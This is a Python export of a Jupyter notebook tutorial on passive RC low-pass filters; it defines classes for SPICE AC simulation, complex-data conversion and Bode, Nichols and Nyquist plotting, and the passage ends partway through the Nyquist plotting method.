{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# TODO:\n# -\tget the unit renaming in the columns working with regex in `ac_representation_tool`\n# \n# -\tfigure out why the sym and symbolic all-pass filter diverge from each other\n# \n# -\tcreate a table of low-high pass vs rc & rl\n# \n# -\tlook into ngspice internals and really verify that there are no \n# equivalencies to dc internals with .ac sims\n# \n# Most likely will do this in another section further down the road\n# \n# -\tadd filter design tool and filter circuit generation tool; see isbn 978-0-387-92766-4 and things like cauer network tf implimentation\n# \n# -\tdiscuss L->C passive conversion\n# \n\n# In[1]:\n\n\nfrom skidl.pyspice import *\n#can you say cheeky \nimport PySpice as pspice\n#becouse it's written by a kiwi you know\nimport lcapy as kiwi\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport sympy as sym\n\n\nfrom IPython.display import YouTubeVideo, display\n\nimport traceback\nimport warnings\n\n\n# In[2]:\n\n\n#import dc code from parral folder\nimport sys\nsys.path.insert(1, '../DC_1/')\nfrom DC_1_Codes import get_skidl_spice_ref\n#from AC_2_Codes import \n\nsym.init_printing()\n\n#notebook specific loading control statements \nget_ipython().run_line_magic('matplotlib', 'inline')\n#tool to log notebook internals\n#https://github.com/jrjohansson/version_information\nget_ipython().run_line_magic('load_ext', 'version_information')\nget_ipython().run_line_magic('version_information', 'skidl, PySpice,lcapy, sympy, numpy, matplotlib, pandas, scipy')\n\n\n# # Basic Passive Filters\n# \n# In this section, we will construct and look at the basic passive analog filters constructed of RLC elements only. For now, we will just develop an ac equivalent tool to `dc_ease` that was in the last chapter. As well as some basic data manipulation, plotting tool, and classes for the RLC primitive filters. For advanced tools filter analysis will be developed later in this chapter in section asdlkjfaljdfkj where then we can compare not only the SPICE simulation data but also the SPICE generated Pole-Zero Transfer function and the theoretical transfer function to each other in greater detail.\n# \n\n# ## The RC Low Pass Filter\u00b6\n# \n# The RC filter is a first-order single-pole filter. Where the pole is realized physically by a shunt capacitor. For more technical details about an RC low pass filter consult the YT video by ALL ABOUT ELECTRONICS \"RC Low Pass Filter Explained\" that serves as the example source below\n# \n\n# ### The low pass RC filter from ALL ABOUT ELECTRONICS \"RC Low Pass Filter Explained\" @~ 8:35min\n\n# In[3]:\n\n\nYouTubeVideo('_2L0l-E1Wx0', width=500, height=400, start=515)\n\n\n# ### RC Low Pass Filter Subcircuit container class\n# \n# The class below is the first in a series of classes developed in this section to create and store information about the filter primitive under test. For each of these primitives we will create a class that does three things:\n# \n# -\tstores the filter element values in the class initiation method\n# \n# -\tgenerates the filter and its elements inside a SKiDl subcircuit to then included in the circuit under design\n# \n# -\tprovides a schematic representation method of the filter being constructed by this class via lcapy\n# \n# -\tprovides the transfer function and two-port representation of the filter in sympy via its own methods by using the lcapy schematic \n# \n# We see how this is done with the RC Low Pass filter first below\n# \n\n# In[4]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rc_lowpass filter class\n#class with lcapy and skidl subcircuit to create an RC lowpass filter\n\nclass rc_lowpass():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    lowpass RC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, C_value=1@u_F, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            C_value (float; 1@u_F; Farads): the capacitance in farads for the RC capacitive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RC resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.C_value=C_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RC_Lowpass - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RC lowpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Cref={'ref':f'C_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Cref={}\n            Rref={}\n            \n        self.c=C(value=self.C_value, **Cref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.r[1, 2]+=term_0, self.c['p']\n        self.c['p', 'n']+=term_2, term_3\n        \n        if return_elements:\n            return self.c, self.r\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract simply variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        self.with_values=with_values\n        \n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 1 1_1; right=2')\n        self.schematic.add('W 0 0_1; right')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add('R 0_1 2_1; right')\n        self.schematic.add('C 2_1 1_1; down')\n        \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 1_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'C':self.C_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n        \n            \n        \n        \n\n\n# In the method for the subcircuit `SKiDl` above we referenced a port-terminal convention from a library **scikit-rf**. This is the main python library for S-parameter analysis and primitive rf circuit design in the Python scientific ecosystem. Where we will interact with it at length in the following sections but for now let's just get in the habit of using their port-terminal convention since we are coding all this up in python\n\n# Below we instantiate the filter to the values found in the reference example above and draw it\n\n# In[5]:\n\n\n#instatate the rc_lowpass filter to \nlowpassF=rc_lowpass(C_value=.1@u_uF, R_value=1@u_kOhm)\nlowpassF.lcapy_self()\n\n\n# Nest using `lcapy` we can use the circuit we created in `rc_lowpass.lcapy_self` to then extract the voltage transfer function coming from the Port 0 & 1 Terminals to the Port 2 & 3 Terminals. Where the method has been abstracted such that it can be called to just get the symbolic equation or get the symbolic equation with the values of this particular instance substituted into the symbolic expression.\n\n# In[6]:\n\n\n#get this filters abstract transfer function\nlowpassF.get_tf(with_values=False)\n\n\n# In[7]:\n\n\n#get this filters transfer function\nlowpassF.get_tf(with_values=True)\n\n\n# and finally, we will now use the lowpass filter in its primary utilization as part of a circuit to be simulated with SPICE.\n\n# In[8]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nlowpassF.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# ### making ac_ease\u00b6\n# \n# In the last chapter, we developed a class `dc_ease` to make running the .dc SPICE simulation more automated. Here we will develop an analogies class `ac_ease` to automate the .ac simulation. There are some differences thou. For one with .dc simulation, we could sweep over any variable (I still need to fix pyspice to do that); whereas we learned in the last section that .ac simulation only allows us to sweep the operating frequency of all our sources simultaneously and observe the response of the circuit to each frequency in terms of Fourier transform terms. The second thing is that .dc simulations allowed us to access a plethora of circuit elements' internal parameters to record things such as current and power without having to add SPICE ammeter all over the place. While .ac does not have quite that support in ngspice (see typically chapter 31 \"Model and Device Parameters\" in the ngspice manual). So we are going to forgo do internal parameters in `ac_ease`.\n# \n# \n\n# Also, in the last section, we just used the \"linear\" sweep capability of an ac simulation. However, AC simulations are more commonly done via logarithm sweeps. This is akin to `np.logspace`, however, unlike NumPy's logspace, we till .ac what the starting and stop are and how many samples we want per decade. And then there is the less used \" octave \" sampling scheme where there is no numpy kin. Octave takes the starting frequency, say 1kHz, and then computes the doubles of it (think octaves in music) and then samples within that doubling. So 1kHz doubles to 2kHz and so on till the stop frequency is reached while getting n samples within each double via the \"number_of_points\" argument in the .ac simulation control.\n\n# In[9]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 ac_ease class\n#class to perform .ac simulations with a bit more grace\n\nclass ac_ease():\n    \"\"\"\n    Class to perform AC (.ac) SPICE simulation with some grace; \n    currently limited to what pyspice and ngspice support\n    \n    TODO:\n        - independent current sources can have their AC current measured via \n        `@I<name>[acreal]` & `@I<name>[acrimag]` not shure if this is usefull\n        also trying via the sensitivity \n        - do some serious testing with ngspice directly to verify that internal\n        parameters are as limited as they appear to be with .ac\n        \n    \"\"\"\n    def __init__(self, circ_netlist_obj):\n        \"\"\"\n        Class to perform AC (.ac) SPICE simulation with some grace\n        \n        Args:\n            circ_netlist_obj (pyspice.Spice.Netlist.Circuit): the Netlist circuit produced \n                from SKiDl's `generate_netlist()`\n        \n        Returns: \n            creates a table to control the ac sweep `self.fsweep_DF`\n            this table will still need to be filled out before a simulation can be run with `self.do_ac_sim`\n            can be filled out manually or with the helper method `self.ac_sweep_setup`\n        \"\"\"\n        self.circ_netlist_obj=circ_netlist_obj\n        self._build_table()\n        \n        #dic of allowed AC sweep types\n        self.allowed_steptypes_map={'linear':'lin', 'decade':'dec', 'octave': 'oct'}\n\n    \n    def _build_table(self):\n        \"\"\"\n        protected method to create `self.fsweep_DF` dataframe that stores the controls for the ac simulation\n        \n        TODO:\n            -when pyspice accepts more things to sweep add them below\n        \"\"\"\n        self.fsweep_DF=pd.DataFrame(columns=['Start_freq', 'Stop_Freq', 'SamplingInc', 'StepType'])\n        self.fsweep_DF.at[len(self.fsweep_DF)]=[.1@u_Hz, 120@u_GHz, 10, 'decade']\n\n    def ac_sweep_setup(self, Start_freq, Stop_Freq, SamplingInc, StepType, display_table=False):\n        \"\"\"\n        Helper method to create the `self.fsweep_DF` to control the ac simulation\n        \n        Args:\n            Start_freq (Hertz): starting frequency in Hertz of the ac simulation, must be less than `Stop_Freq` and can\n                only be zero if `StepType='linear'`\n            \n            Stop_Freq (Hertz): stoping  frequency in Hertz of the ac simulation, must be greater than `Start_freq` \n            \n            SamplingInc (int): number of samples per StepType interval\n            \n            StepType (string): string control for the ac simulation Step type.\n                must be 'linear' (self-explanatory), 'decade' (log base 10 sampling interval), \n                or 'octave' (starting frequency times 2**n to create sample space a double of the starting frequency\n                so that samples are pulled from 2**(n-1) and 2**(n) times the starting frequency)\n            \n            display_table (bool; False): when true will display the generated `self.fsweep_DF` below\n             this method call in a jupyter notebook like environment\n            \n        TODO:\n            -add display action\n        \"\"\"\n        #check for allowed step types\n        assert StepType in self.allowed_steptypes_map.keys(),  f\"{StepType} is not allowed\"\n        #force start to non zero if sweep not linear\n        if StepType != 'linear':\n            if float(Start_freq)==0:\n                warnings.warn('\"linear\" is only sweep type that can start at 0Hz,\\n setting starting frequancy to 1e-1Hz')\n                Start_freq=1e-1@u_Hz\n                \n                \n        #check that stop frequency is greater than start\n        assert Stop_Freq>Start_freq, 'Stop frequency must be greater then starting frequency'\n        \n        self.fsweep_DF.at[0]=[Start_freq, Stop_Freq, SamplingInc, StepType]\n        \n        if display_table:\n            display(self.fsweep_DF)\n    \n    def _make_sim_control(self):\n        \"\"\"\n        Internal method to extract the row information to the .ac pyspice call arguments\n        Will raise a warning if the simulation start frequency is 0Hz for non-linear frequency sampling and \n        then set the start frequency to .1Hz\n        \n        Args:\n            NONE\n            \n        Returns:\n            `self.ac_control` what is feed into the .ac to do the simulation over a frequency\n            \n        \"\"\"\n        \n        #check the control table struct\n        assert (self.fsweep_DF.columns==['Start_freq', 'Stop_Freq', 'SamplingInc', 'StepType']).all(), 'Contorl Table Column structer has been altered'\n        \n        #will probably change this down the road\n        assert len(self.fsweep_DF)==1, 'there should only be one entry in the control table'\n        \n        #check the sweep type\n        self.fsweep_DF['StepType'][0] in self.allowed_steptypes_map.keys(), f\"{self.fsweep_DF['StepType'][0]} is not allowed\"\n        \n        #check that stop frequency is greater than start\n        assert self.fsweep_DF.at[0, 'Stop_Freq']>self.fsweep_DF.at[0, 'Start_freq'], 'Stop freqauncy must be grater then starting freauncy'\n        \n        #force start to non zero if sweep not linear\n        if self.fsweep_DF['StepType'][0] != 'linear':\n            if float(self.fsweep_DF['Start_freq'][0])==0:\n                warnings.warn('\"linear\" is only sweep type that can start at 0Hz,\\n setting starting frequancy to 1e-1Hz')\n                self.fsweep_DF.at[0, 'Start_freq']=1e-1@u_Hz\n        \n        self.ac_control={\n            'start_frequency':self.fsweep_DF.at[0, 'Start_freq'], \n            'stop_frequency':self.fsweep_DF.at[0, 'Stop_Freq'], \n            'number_of_points':self.fsweep_DF.at[0, 'SamplingInc'],\n            'variation': self.allowed_steptypes_map[self.fsweep_DF.at[0, 'StepType']]\n        }\n        \n        \n        \n    \n    def do_ac_sim(self):\n        \"\"\"\n        Does a standard Branch and Node .ac simulation for the single filled out row in `self.fsweep_DF`\n        \n        Args:\n            None\n        \n        Returns: \n            raw results are stored in `self.ac_vals`, processed results are automatically stored in \n            `self.ac_resultsNB_DF` via `self.record_ac_nodebranch`\n        \"\"\"\n        self._make_sim_control()\n        self.sim=self.circ_netlist_obj.simulator()\n        self.ac_vals=self.sim.ac(**self.ac_control)\n        \n        self.record_ac_nodebranch()\n\n    \n    def record_ac_nodebranch(self):\n        \"\"\" \n        Helper method to put .ac node branch results into a dataframe where the index is the \n        sweep frequency used in the simulation\n        \n        Args:\n            None\n        \n        Returns:\n            `self.ac_resultsNB_DF` which is a pandas dataframe with the index being the sweep frequency\n            and the columns being the node voltages and branch currents from any available voltage sources  \n            \n        TODO:\n            look into getting the current in any current sources\n            \n        \"\"\"\n        self.ac_resultsNB_DF=pd.DataFrame(index=self.ac_vals.frequency.as_ndarray())\n        self.ac_resultsNB_DF.index.name='freq[Hz]'\n        \n        #get the node voltages\n        for n in self.circ_netlist_obj.node_names:\n            if n=='0':\n                continue\n            self.ac_resultsNB_DF[n+'_[V]']=self.ac_vals[n].as_ndarray()\n        \n        #get the current from any voltage source\n        for cm in self.circ_netlist_obj.element_names:\n            if 'V'==cm[0]:\n                self.ac_resultsNB_DF[cm+'_[A]']=-self.ac_vals[cm].as_ndarray()\n                \n\n\n# In[10]:\n\n\n#instainte the simulation from the circuit\nac_sweep=ac_ease(circ)\n#setup the simulation parameter with the helper method\nac_sweep.ac_sweep_setup(0, 100@u_MHz, 10, 'decade', True)\n\n\n# In[11]:\n\n\nac_sweep.do_ac_sim()\nac_sweep.ac_resultsNB_DF\n\n\n# ### making a basic ac data conversion tool\n# \n# As we learned in the last section since the returns of an AC simulation are complex values we have to represent the values in order to just plot the values. The following class has methods that will allow us to pass in the raw results of the AC simulation and then perform reinterpretation of the values as needed\n# \n\n# In[12]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 ac_representation_tool class\n#class that converts dataframe of raw ac complex data to veries complex\n#repsentations \n\nclass ac_representation_tool:\n    \"\"\"\n    Class to take a dataframe with AC simulation complex value data and\n    represent it in various ways. raw data should come from `ac_ease.ac_resultsNB_DF`\n    \n    TODO:\n        -get the unit renaming in the columns working with regex\n    \"\"\"\n    \n    def __init__(self, ac_sim_raw_DF):\n        \"\"\"\n        pull in the data\n        Args:\n            ac_sim_raw_DF (pandas dataframe): pandas dataframe of raw data from AC simulation \n                preferbyly from `ac_ease.ac_resultsNB_DF`, index must be the simulation\n                frequency and columns must be the complex data\n        \n        Returns: \n            None\n        \n        TODO:\n            broaden complex assertin to include np.complex128\n        \"\"\"\n        #write asserts for ac_sim_DF\n        assert repr(type(ac_sim_raw_DF))==\"<class 'pandas.core.frame.DataFrame'>\", '`ac_sim_raw_DF` must be a dataframe'\n        #check that all columns from raw data are complex\n        assert (ac_sim_raw_DF.dtypes==np.complex64).all() or (ac_sim_raw_DF.dtypes==np.complex128).all(), 'Raw data must be complex from AC sim'\n        self.ac_sim_raw_DF=ac_sim_raw_DF\n    \n    def make_real_imag(self):\n        \"\"\"\n        Method to create a real and image version of the raw data\n\n        Args: None\n        \n        Returns:\n            real values are stored in `self.ac_sim_real_DF`; and \n            imaginary values are stored in `self.ac_sim_imag_DF`\n            \n        \"\"\"\n        \n        self.ac_sim_real_DF=self.ac_sim_raw_DF.apply(np.real, axis=0)\n        \n        self.ac_sim_imag_DF=self.ac_sim_raw_DF.apply(np.imag, axis=0)\n        \n    \n    def make_mag_phase(self, mag='dB', char_res=50, deg=True, phase_unwrap=True):\n        \"\"\"\n        Method to make generate the various magnitude and phase representation of the complex data\n        \n        Args:\n            mag (string, \"dB\"): control statement to specify the representation of the generated \n                magnitude data; right now only 'dB' and 'abs' are supported\n            \n            char_res (float; 50; ohms): the characteristic impedance for magnitude representation calculations; not \n                implemented at the moment\n            \n            deg (bool; True): bool control statement to represent the phase data in degrees if True; else in radians\n            \n            phase_unwrap (bool; True): when True and `deg` is True will represent the degrees in phased unwrapped\n        \n        Returns:\n            magnitude data is stored in `self.ac_sim_mag_DF` and phase data is stored in `self.ac_sim_phase_DF`\n        \n        TODO: \n            -complete all of the magnitude conversions\n        \"\"\"\n        #deal with the cacophony of magnitudes\n        mag_conversions={\n            'dB': lambda x: 10*np.log10(np.abs(x)) if x.name in ['[W]', '[VAR]', '[VA]'] else 20*np.log10(np.abs(x)), \n            'abs': lambda x: np.abs(x)\n        }\n        \n        #check the input\n        assert mag in mag_conversions.keys(), f'{mag} is not a known magnitude repsentation'\n         \n        self.ac_sim_mag_DF=self.ac_sim_raw_DF.apply(mag_conversions[mag], axis=0)\n        \n        #redo the column name units\n        #get down with the regex to really do this\n        if mag in ['dB']:\n            self.ac_sim_mag_DF.rename(columns={i:i+'[dB]' for i in self.ac_sim_mag_DF.columns}, inplace=True)\n        \n        #deal with the phase\n        \n        if (deg==True) and (phase_unwrap==True):\n            #phase unwrapped lambda function\n            angle_phase_unwrap= lambda x: np.rad2deg(np.unwrap(np.angle(x)))\n\n            self.ac_sim_phase_DF=self.ac_sim_raw_DF.apply(angle_phase_unwrap, axis=0)\n        \n        else:\n            self.ac_sim_phase_DF=self.ac_sim_raw_DF.apply(np.angle, axis=0, deg=deg)\n\n        #realy need that stupid regex working\n        \n        if deg:\n            self.ac_sim_phase_DF.rename(columns={i:i+'[deg]' for i in self.ac_sim_phase_DF.columns}, inplace=True)\n        else:\n            self.ac_sim_phase_DF.rename(columns={i:i+'[rads]' for i in self.ac_sim_phase_DF.columns}, inplace=True)\n\n\n# In[13]:\n\n\nac_rep_tool=ac_representation_tool(ac_sweep.ac_resultsNB_DF)\nac_rep_tool.make_real_imag()\nac_rep_tool.ac_sim_real_DF\n\n\n# In[14]:\n\n\nac_rep_tool.make_mag_phase()\nac_rep_tool.ac_sim_mag_DF\n\n\n# ### Making a complex representation plotting templet\u00b6\n# \n# Here we are going to make a class the store plot templets for the 3+1 major representations of complex values:\n# \n# -\tBode Plot with Magnitude and Phase on the same plot: The Bode plot is the most widely used plot of complex data that is parametric to the frequency which we use as the x-axis. This is one of two standard variations of the Bode plot where the Magnitude and Phase is plotted on the same graph using twin axis\n# \n# -\tBode Plot with Magnitude and Phase on the separate plots: In this version of the Bode plot the x-axis is still the frequency and there are two subplots sharing the same x-axis with the top plot being the magnitude plot and the bottom being the phase\n# \n# -\tNichols Plot: This is a parametric plot where the x-axis and the phase and the y-axis is the magnitude and direction is indicated by an arrow along the line showing the direction of frequency increase. This plot is used more in Feedback and Control system design.\n# \n# -\tNyquist Plot: This is a parametric plot where the x-axis and the real part and the y-axis is the imaginary part and direction is indicated by an arrow along the line showing the direction of frequency increase. This plot is used more in Feedback and Control system design.\n# \n# This class contains templets since an existing matplotlib axis can be passed through them to then include them in more advanced plots with additional information being able to be added to the axis. Or these plot methods can be called without any axis passed to them to then generate a basic plot\n# \n# \n\n# In[15]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 eecomplex_plot_templets class\n#class that stores templets plots for most common complex rep plots\n\nclass eecomplex_plot_templets():\n    \"\"\"\n    Class that stores basic/common Electrical Engineering Complex value\n    representation plots that may be used stand-alone or as templets in other plots \n    with refinements\n    \"\"\"\n    def __init__(self):\n        pass\n    \n    def bode_plot_one_templet(self, freq_data, mag_data, phase_data, ax=None, title=''):\n        \"\"\"\n        Templet plot to make a Bode plot with Magnitude and Phase all in one\n        graph using a twinx. \n        \n        Args:\n            freq_data (numpy array or pandas series; Hz): the sampling frequency\n            \n            mag_data (numpy array or pandas seres; dB): the magnitude data in decibels\n            \n            phase_data (numpy array or pandas series; deg unwrapped): the phase data in degrees unwrapped\n            \n            ax (matplotlib axis; None): If left None will create a new plot, else must\n                be a matplotlib subplot axis to be added to\n            \n            title (str; ''): Subplot title string\n            \n        Returns:\n            Returns a bode plot, and if an axis was passed to `ax` will be modified\n            with how to plot the magnitude\n            \n        \n        TODO:\n            - figure out how to return the `ax_phase` generated internally\n            - add x,y scale control\n        \"\"\"\n        assert len(freq_data)==len(mag_data)==len(phase_data), 'freq_data, mag_data, phase_data, must all be the same length'\n        \n        if ax!=None:\n            assert repr(type(ax))==\"<class 'matplotlib.axes._subplots.AxesSubplot'>\", 'ax must be a matplotlib axis'\n\n        ax_mag=ax or plt.gca()\n\n\n        #fig, ax_mag=plt.subplots()\n\n        ax_phase=ax_mag.twinx()\n\n        ax_mag.semilogx(freq_data, mag_data, label='mag')\n        ax_phase.semilogx(freq_data, phase_data, color='green', linestyle='--', label='phase')\n        \n\n        ax_mag.set_xlabel('frequancy [Hz]')\n        ax_mag.set_ylabel('[dB]')\n        ax_phase.set_ylabel('[deg]')\n        ax_mag.grid()\n        \n        #make a single legend \n        handles, labels = [(a + b) for a, b in zip(ax_mag.get_legend_handles_labels(), ax_phase.get_legend_handles_labels())]\n        ax_phase.legend(handles, labels)\n\n        if title!='':\n            title=' of '+title\n        ax_mag.set_title(f'Bode Plot{title}')\n        \n        \n        \n    def bode_plot_two_templet(self, freq_data, mag_data, phase_data, \n                              axs=None, title=''):\n        \"\"\"\n        Templet plot to make a Bode plot with Magnitude and Phase in two separate subplots\n        with shared x-axis\n        \n        Args:\n            freq_data (numpy array or pandas series; Hz): the sampling frequency\n            \n            mag_data (numpy array or pandas seres; dB): the magnitude data in decibels\n            \n            phase_data (numpy array or pandas series; deg unwrapped): the phase data in degrees unwrapped\n            \n            axs (list of matplotlib axis; None): If left None will create a new plot, else must \n                be a list of matplotlib subplots axis to be added to where the first entry\n                will be the magnitude axis, and the second will be the phase axis\n            \n            title (str; ''): Subplot title string\n            \n        Returns:\n            Returns a bode plot, and if an axis was passed to `ax` will be modified\n            with how to plot the magnitude\n            \n        \n        TODO:\n            - add x,y scale control\n        \"\"\"\n        \n        assert len(freq_data)==len(mag_data)==len(phase_data), 'freq_data, mag_data, phase_data, must all be the same length'\n        \n       \n        if axs==None:\n            fig, [ax_mag, ax_phase]=plt.subplots(nrows=2, sharex=True)\n        else:\n            assert len(axs)==2, 'there should only be two elements in axs'\n            \n            for i, ax in enumerate(axs):\n                assert repr(type(ax))==\"<class 'matplotlib.axes._subplots.AxesSubplot'>\", f\"element {i} in axs was not a matplotlib axis\"\n            ax_mag=axs[0]; ax_phase=axs[1]\n            ax_mag.get_shared_x_axes().join(ax_mag, ax_phase)\n        \n        #fore the two axes to share x\n        ax_mag.xaxis.set_tick_params(which='both', labelbottom=True)\n\n\n\n\n        ax_mag.semilogx(freq_data, mag_data, label='mag')\n        ax_phase.semilogx(freq_data, phase_data, color='green', linestyle='--', label='phase')\n\n\n\n        ax_mag.set_ylabel('[dB]')\n        ax_phase.set_ylabel('[deg]')\n        ax_mag.grid()\n        ax_phase.grid()\n        \n        #style the x-axis for both subplots so it's between the two\n        ax_phase.set_xlabel('frequancy [Hz]')\n        ax_phase.xaxis.set_label_position('top') \n        ax_phase.xaxis.set_ticks_position('top') \n        ax_phase.tick_params(labelbottom=False,labeltop=True)\n\n        if title!='':\n            title=' of '+title\n        ax_mag.set_title(f'Bode Plot{title}');\n        plt.tight_layout()\n    \n    \n    def nichols_plot_templet(self, mag_data, phase_data, ax=None, title=''):\n        \n        \"\"\"\n        Templet plot to make a Nichols plot with magnitude in the y-axis and\n        phase in the x-axis, with a counter arrow showing the parametric direction\n        \n        Args:\n            \n            mag_data (numpy array or pandas seres; dB): the magnitude data in decibels\n            \n            phase_data (numpy array or pandas series; deg unwrapped): the phase data in degrees unwrapped\n            \n            ax (matplotlib axis; None): If left None will create a new plot, else must\n                be a matplotlib subplot axis to be added to\n            \n            title (str; ''): Subplot title string\n            \n        Returns:\n            Returns a Nichols plot, and if an axis was passed to `ax` will be modified\n            with the Nichols plot\n            \n        \n        TODO:\n            - add x,y scale control\n        \"\"\"\n        \n        assert len(mag_data)==len(phase_data), 'mag_data and phase_data, must all be the same length'\n\n        if ax!=None:\n            assert repr(type(ax))==\"<class 'matplotlib.axes._subplots.AxesSubplot'>\", 'ax must be a matplotlib axis'\n\n        ax=ax or plt.gca()\n\n        ax.plot(phase_data, mag_data)\n        line=ax.get_lines()[0]\n        eecomplex_plot_templets.add_arrow(line)\n\n        \n        #xlim\n        xmin=phase_data.min()*1.1; xmax=phase_data.max()*1.1\n        \n        if -1*xmax<xmin:\n            xmin=-1*xmax\n        \n        if -1*xmin>xmax:\n            xmax=-1*xmin\n            \n        ax.set_xlim(xmin, xmax)\n        \n\n        ax.set_xlabel('[deg]'); ax.set_ylabel('[dB]')\n\n        ax.grid()\n        #ax.axhline(0, linestyle='--', linewidth=2.0, color='black')\n        ax.axvline(0, linestyle='--', linewidth=2.0, color='black')\n        if title!='':\n            title=' of '+title\n        ax.set_title(f'Nichols Plot{title}');\n        \n\n    def nyquist_plot_templet(self, real_data, imag_data, ax=None, title=''):\n        \"\"\"\n        Templet plot to make a Nyquist plot with imaginary in the y-axis and\n        real in the x-axis, with a counter arrow showing the parametric direction\n        \n        Args:\n            \n            real_data (numpy array or pandas series): the real data \n            \n            imag_data (numpy array or pandas series): the imaginary data\n            \n            ax (matplotlib axis; None): If left None will create a new plot, else must\n                be a matplotlib subplot axis to be added to\n            \n            title (str; ''): Subplot title string\n            \n        Returns:\n            Returns a Nyquist plot, and if an axis was passed to `ax` will be modified\n            with the Nyquist plot\n            \n        \n        TODO:\n            - add x,y scale control\n        \"\"\"\n        assert len(real_data)==len(imag_data), 'real_data and imag_data, must all be the same length'\n\n        if ax!=None:\n            assert repr(type(ax))==\"<class 'matplotlib.axes._subplots.AxesSubplot'>\", 'ax must be a matplotlib axis'\n\n        ax=ax or plt.gca()\n\n        ax.plot(real_data, imag_data)\n        line=ax.get_lines()[0]\n        eecomplex_plot_templets.add_arrow(line)\n\n        #xlim\n        xmin=real_data.min()*1.1; xmax=real_data.max()*1.1\n\n        if -1*xmax<xmin:\n            xmin=-1*xmax\n        \n        if -1*xmin>xmax:\n            xmax=-1*xmin\n        ax.set_xlim(xmin, xmax)\n\n        #ylim\n        ymin=imag_data.min()*1.1; ymax=imag_data.max()*1.1\n\n        if -1*ymax<ymin:\n            ymin=-1*ymax\n        \n        if -1*ymin>ymax:\n            ymax=-1*ymin\n        ax.set_ylim(ymin, ymax)\n\n        ax.set_xlabel('Real'); ax.set_ylabel('Imag')\n\n        ax.grid()\n        ax.axhline(0, linestyle='--', linewidth=2.0, color='black')\n        ax.axvline(0, linestyle='--', linewidth=2.0, color='black')\n        if title!='':\n            title=' of '+title\n        